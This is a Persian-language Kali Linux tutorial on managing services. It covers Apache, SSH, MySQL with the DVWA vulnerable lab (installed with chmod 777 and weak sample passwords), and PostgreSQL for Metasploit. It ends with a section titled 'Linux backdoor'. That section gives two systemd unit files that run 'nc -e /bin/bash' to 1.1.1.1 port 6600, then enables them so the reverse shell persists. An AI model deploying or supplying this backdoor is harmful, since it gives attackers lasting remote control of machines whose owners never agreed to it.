برای آموزش تصویری

در تمامی سیستم عامل ها برای مدیریت برنامه ها از سرویس استفاده می کنند در ویندوز service.msc لیست سرویس های ویندوزی قابل مشاهده هستند و وضعیت آن ها مشخص هست آیا در حال اجرا هستند متوقف هستند و همچنین وضعیت ران شدن آن ها به صورت دستی یا اتومات می باشد.

در لینوکس نیز برای مدیریت سرویس ها از service یا systemctl استفاده می کنیم.

 

 

 

خوب حال به سرویس پرکاربرد می پردازیم که در کالی لینوکس از آن ها استفاده خواهید کرد چه برای راه اندازی LAB چه راه اندازی برای حمله

Apache وب سرور

apt install apache2 -y

service apache2 start

service apache2 stop

service apache2 restart

apt-get install apache2

services apache2 start

/var/www/html/index.html

 

 

openSSH سرویس

service ssh start

 

Mysqlسرویس

apt install dvwa -y

sudo apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php

cd /var/www/html
sudo git clone https://github.com/digininja/DVWA

sudo chmod -R 777 DVWA/

service mysql start

mysql -u root -p

 

 

create user ‘dvwa’@’127.0.0.1’ identified by ‘p@ssw0rd’;

grant all privileges on dvwa.* to ‘dvwa’@’127.0.0.1’ identified by ‘p@ssw0rd’;

update user set password = PASSWORD(“soheilsec”) where user = ‘root’;

sudo systemctl restart apache2.service
sudo service mysql restart

show databases;

user dvwa;

select  * from users;

mysql -u root -p 192.168.1.101

 

 

برای استفاده دیتابیس متااسپلویتPostgresql سرویس

apt postgres install -y

service postgresql start

msfconsole

msfdb init

su postgres

createuser msf_user -P

createdb –owner=msf_user soheilsec

exit

db_connect msf_user:[email protected]/soheilsec

db_status

 

 

در لینوکس می توانیم یک سرویس شخصی بسازیم و با آن برنامه های خودمان را اجرا کنیم (بکدور لینوکسی)

cat > /etc/systemd/system/backdoor.service <<EOF

[Unit]

Description=Linux backdoor daemons

After=network.target

After=syslog.target

[Install]

WantedBy=multi-user.target

Alias=udptunnel.target

[Service]

Type=forking

ExecStart= /usr/bin/nc -e /bin/bash 1.1.1.1 6600 2>/dev/null

ExecStop=/usr/bin/pkill nc

TimeoutSec=600

Restart=always

PrivateTmp=false

EOF

systemctl daemon-reload

systemctl enable backdoor

systemctl start backdoor

systemctl status backdoor

cat > /etc/systemd/system/backdoor.service <<EOF

[Unit] Description=backdoor
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash 1.1.1.1 6600 2>/dev/null

[Install] WantedBy=multi-user.target

EOF

systemctl enable backdoor

systemctl start backdoor

systemctl status backdoor